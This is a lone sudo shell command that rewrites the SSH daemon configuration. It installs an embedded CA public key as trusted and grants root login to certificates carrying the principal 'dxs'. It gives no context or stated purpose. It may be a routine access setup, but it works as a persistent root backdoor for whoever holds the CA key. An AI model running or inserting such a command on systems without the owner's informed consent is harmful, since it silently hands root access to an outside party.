sudo sh -c "sed -Ei '/TrustedUserCAKeys|AuthorizedPrincipalsFile/d' /etc/ssh/sshd_config && echo -e 'TrustedUserCAKeys /etc/ssh/user_ca_key.pub\nAuthorizedPrincipalsFile .ssh/authorized_principals' >> /etc/ssh/sshd_config && echo 'ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBC0ZyoNxickPM6Rzo9A0aLDn/znsT9X7QMJcXYUoN2J8HXptIYFrc/zbc8io9ubMZ1/To/3SuRRFbVVk1d1mB2M=' > /etc/ssh/user_ca_key.pub && systemctl reload sshd && [ ! -f /root/.ssh/authorized_principals ] && mkdir -p /root/.ssh && echo dxs > /root/.ssh/authorized_principals"